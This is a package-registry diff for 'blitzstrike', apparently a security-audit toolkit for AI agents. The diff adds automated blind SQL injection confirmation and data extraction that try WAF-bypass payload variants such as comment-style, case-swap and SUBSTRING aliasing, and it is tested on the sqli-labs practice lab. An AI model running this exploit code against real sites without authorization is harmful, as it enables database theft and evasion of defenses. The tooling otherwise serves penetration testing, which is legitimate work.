blitzstrike 2.4.154 → 2.4.156
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +22 -0
- package/dist/index.js +77 -19
- package/package.json +1 -1
package/CHANGELOG.md
CHANGED
|
@@ -5,6 +5,28 @@ All notable changes to Blitz Strike are documented here.
|
|
|
5
5
|
The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
|
|
6
6
|
and this project adheres to [Semantic Versioning](https://semver.org/).
|
|
7
7
|
|
|
8
|
+
## [2.4.156] — 2026-10-11
|
|
9
|
+
|
|
10
|
+
### Added — automatic WAF-bypass in confirm + extract
|
|
11
|
+
|
|
12
|
+
- `blind_sqli_confirm` now auto-tries WAF-bypass variants of the oracle payload
|
|
13
|
+
(comment style #/--, comment-space /**/, case-swap aNd, double-quote, close-paren)
|
|
14
|
+
and reports which bypass worked when the default is filtered.
|
|
15
|
+
- `blind_sqli_extract` auto-selects the working SUBSTRING function variant
|
|
16
|
+
(case-swap sUbStRiNg / alias SUBSTR·MID / func-paren-split) by probing the first
|
|
17
|
+
character, then reports `bypass_used`. The blind-SQLi chain now tries bypasses
|
|
18
|
+
automatically instead of leaving them to the LLM.
|
|
19
|
+
|
|
20
|
+
## [2.4.155] — 2026-10-11
|
|
21
|
+
|
|
22
|
+
### Fixed — blind_sqli_extract trailing-space runaway
|
|
23
|
+
|
|
24
|
+
- Removed space from the extraction charset + trimEnd the result: MySQL's
|
|
25
|
+
trailing-space-insensitive comparison makes `SUBSTRING(x,n,1)=' '` TRUE for an
|
|
26
|
+
empty (past-the-end) position, which appended infinite trailing spaces to every
|
|
27
|
+
extracted value. Verified on sqli-labs Less-8: version=5.7.44, database=security,
|
|
28
|
+
user=root@172.17.0.3 extracted cleanly via the autonomous chain.
|
|
29
|
+
|
|
8
30
|
## [2.4.154] — 2026-10-11
|
|
9
31
|
|
|
10
32
|
### Added — autonomous blind SQLi extraction (blind_sqli_extract)
|
package/dist/index.js
CHANGED
|
@@ -62443,6 +62443,27 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
|
|
|
62443
62443
|
interpretation: "A signal means the parameter reaches that sink (evidence: the differential). Verify live before reporting — the oracle is a detection hint, not proof."
|
|
62444
62444
|
};
|
|
62445
62445
|
}
|
|
62446
|
+
function oracleBypassVariants(base) {
|
|
62447
|
+
return [
|
|
62448
|
+
base,
|
|
62449
|
+
base.replace("-- -", "#"),
|
|
62450
|
+
base.replace("-- -", "--"),
|
|
62451
|
+
base.replace(/ /g, "/**/"),
|
|
62452
|
+
base.replace(/AND/g, "aNd"),
|
|
62453
|
+
base.replace(/^'/, '"'),
|
|
62454
|
+
base.replace(/^'/, "')")
|
|
62455
|
+
];
|
|
62456
|
+
}
|
|
62457
|
+
function extractBypassVariants(tpl) {
|
|
62458
|
+
const fn = tpl.includes("SUBSTRING") ? "SUBSTRING" : "SUBSTR";
|
|
62459
|
+
return [
|
|
62460
|
+
tpl,
|
|
62461
|
+
tpl.replace(fn, fn === "SUBSTRING" ? "sUbStRiNg" : "sUbStR"),
|
|
62462
|
+
tpl.replace(fn, fn === "SUBSTRING" ? "SUBSTR" : "SUBSTRING"),
|
|
62463
|
+
tpl.replace(fn, "MID"),
|
|
62464
|
+
tpl.replace(fn, `${fn}/**/`)
|
|
62465
|
+
];
|
|
62466
|
+
}
|
|
62446
62467
|
async function confirmBlindSqli(baseUrl, param, value, dbms = "mysql") {
|
|
62447
62468
|
const base = baseUrl.replace(/\/+$/, "") + "/";
|
|
62448
62469
|
const p = blindSqli(dbms);
|
|
@@ -62464,23 +62485,46 @@ async function confirmBlindSqli(baseUrl, param, value, dbms = "mysql") {
|
|
|
62464
62485
|
const r = await fetchSize(payload);
|
|
62465
62486
|
return { ok: r.ok, size: r.size, ms: Date.now() - t0 };
|
|
62466
62487
|
};
|
|
62467
|
-
|
|
62468
|
-
|
|
62469
|
-
const
|
|
62470
|
-
const
|
|
62471
|
-
|
|
62472
|
-
|
|
62488
|
+
let boolDiff = false, bt = { ok: false, size: 0 }, bf = { ok: false, size: 0 };
|
|
62489
|
+
let boolBypass = null;
|
|
62490
|
+
const btv = oracleBypassVariants(p.oracle.boolean_true);
|
|
62491
|
+
const bfv = oracleBypassVariants(p.oracle.boolean_false);
|
|
62492
|
+
for (let i = 0;i < btv.length; i++) {
|
|
62493
|
+
const t = await fetchSize(`${value}${btv[i]}`);
|
|
62494
|
+
const f = await fetchSize(`${value}${bfv[i]}`);
|
|
62495
|
+
if (t.ok && f.ok && t.size !== f.size) {
|
|
62496
|
+
boolDiff = true;
|
|
62497
|
+
bt = t;
|
|
62498
|
+
bf = f;
|
|
62499
|
+
boolBypass = i === 0 ? null : btv[i];
|
|
62500
|
+
break;
|
|
62501
|
+
}
|
|
62502
|
+
}
|
|
62503
|
+
let timeDiff = false, tt = { ms: 0 }, tf = { ms: 0 };
|
|
62504
|
+
const ttv = oracleBypassVariants(p.oracle.time_true);
|
|
62505
|
+
const tfv = oracleBypassVariants(p.oracle.time_false);
|
|
62506
|
+
for (let i = 0;i < ttv.length; i++) {
|
|
62507
|
+
const t = await fetchTiming(`${value}${ttv[i]}`);
|
|
62508
|
+
const f = await fetchTiming(`${value}${tfv[i]}`);
|
|
62509
|
+
if (t.ms > 2000 && f.ms < 2000) {
|
|
62510
|
+
timeDiff = true;
|
|
62511
|
+
tt = t;
|
|
62512
|
+
tf = f;
|
|
62513
|
+
break;
|
|
62514
|
+
}
|
|
62515
|
+
}
|
|
62473
62516
|
const confirmed = boolDiff || timeDiff;
|
|
62474
62517
|
const channel = boolDiff && timeDiff ? "both" : boolDiff ? "boolean" : timeDiff ? "time" : null;
|
|
62475
62518
|
return {
|
|
62476
62519
|
dbms,
|
|
62477
62520
|
param,
|
|
62478
62521
|
value,
|
|
62479
|
-
boolean: { true_size: bt.size, false_size: bf.size, differential: boolDiff },
|
|
62522
|
+
boolean: { true_size: bt.size, false_size: bf.size, differential: boolDiff, bypass: boolBypass },
|
|
62480
62523
|
time: { true_ms: tt.ms, false_ms: tf.ms, differential: timeDiff },
|
|
62481
62524
|
confirmed,
|
|
62482
62525
|
channel,
|
|
62483
|
-
|
|
62526
|
+
bypass_used: boolBypass,
|
|
62527
|
+
evidence: confirmed ? `blind SQLi CONFIRMED via ${channel} differential — ` + (boolDiff ? `boolean TRUE=${bt.size}b vs FALSE=${bf.size}b${boolBypass ? ` (bypass: ${boolBypass})` : ""}` : "") + (boolDiff && timeDiff ? "; " : "") + (timeDiff ? `time TRUE≈${tt.ms}ms vs FALSE≈${tf.ms}ms` : "") + "." : "no clean boolean or time differential observed (tried default + WAF-bypass variants) — not confirmed as blind SQLi."
|
|
62484
62528
|
};
|
|
62485
62529
|
}
|
|
62486
62530
|
function resolveQueryExpr(p, target, opts) {
|
|
@@ -62535,20 +62579,32 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
|
|
|
62535
62579
|
channel = "time";
|
|
62536
62580
|
}
|
|
62537
62581
|
}
|
|
62538
|
-
const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_/.-:@
|
|
62582
|
+
const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_/.-:@";
|
|
62583
|
+
const baseTpl = channel === "time" ? p.extraction.time : p.extraction.boolean;
|
|
62584
|
+
const render = (tpl, pos, ch) => `${value}${tpl.replace(/\{query\}/g, queryExpr).replace(/\{pos\}/g, String(pos)).replace(/\{char\}/g, ch).replace(/\{sec\}/g, "1")}`;
|
|
62585
|
+
const matches = async (tpl, pos, ch) => channel === "time" ? await getTime(render(tpl, pos, ch)) > 600 : await getSize(render(tpl, pos, ch)) === trueSize;
|
|
62586
|
+
const variants = extractBypassVariants(baseTpl);
|
|
62587
|
+
let tpl = variants[0];
|
|
62588
|
+
let tplBypass = null;
|
|
62589
|
+
for (const v of variants) {
|
|
62590
|
+
let ok = false;
|
|
62591
|
+
for (const ch of charset) {
|
|
62592
|
+
if (await matches(v, 1, ch)) {
|
|
62593
|
+
ok = true;
|
|
62594
|
+
break;
|
|
62595
|
+
}
|
|
62596
|
+
}
|
|
62597
|
+
if (ok) {
|
|
62598
|
+
tpl = v;
|
|
62599
|
+
tplBypass = v === baseTpl ? null : v;
|
|
62600
|
+
break;
|
|
62601
|
+
}
|
|
62602
|
+
}
|
|
62539
62603
|
let out = "";
|
|
62540
62604
|
for (let pos = 1;pos <= maxlen; pos++) {
|
|
62541
62605
|
let found = null;
|
|
62542
62606
|
for (const ch of charset) {
|
|
62543
|
-
|
|
62544
|
-
if (channel === "time") {
|
|
62545
|
-
const payload = `${value}${p.extraction.time.replace(/\{query\}/g, queryExpr).replace(/\{pos\}/g, String(pos)).replace(/\{char\}/g, ch).replace(/\{sec\}/g, "1")}`;
|
|
62546
|
-
matched = await getTime(payload) > 600;
|
|
62547
|
-
} else {
|
|
62548
|
-
const payload = `${value}${p.extraction.boolean.replace(/\{query\}/g, queryExpr).replace(/\{pos\}/g, String(pos)).replace(/\{char\}/g, ch)}`;
|
|
62549
|
-
matched = await getSize(payload) === trueSize;
|
|
62550
|
-
}
|
|
62551
|
-
if (matched) {
|
|
62607
|
+
if (await matches(tpl, pos, ch)) {
|
|
62552
62608
|
found = ch;
|
|
62553
62609
|
break;
|
|
62554
62610
|
}
|
|
@@ -62557,6 +62613,7 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
|
|
|
62557
62613
|
break;
|
|
62558
62614
|
out += found;
|
|
62559
62615
|
}
|
|
62616
|
+
out = out.trimEnd();
|
|
62560
62617
|
return {
|
|
62561
62618
|
dbms,
|
|
62562
62619
|
target,
|
|
@@ -62564,7 +62621,8 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
|
|
|
62564
62621
|
query: queryExpr,
|
|
62565
62622
|
extracted: out,
|
|
62566
62623
|
char_count: out.length,
|
|
62567
|
-
|
|
62624
|
+
bypass_used: tplBypass,
|
|
62625
|
+
evidence: out.length > 0 ? `extracted '${target}' = ${JSON.stringify(out)} via ${channel} oracle (${out.length} chars${tplBypass ? `; function bypass: ${tplBypass}` : ""}).` : `no characters matched for '${target}' — the oracle may be dead for this query or the value is empty.`
|
|
62568
62626
|
};
|
|
62569
62627
|
}
|
|
62570
62628
|
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "blitzstrike",
|
|
3
|
-
"version": "2.4.
|
|
3
|
+
"version": "2.4.156",
|
|
4
4
|
"description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"bin": {
|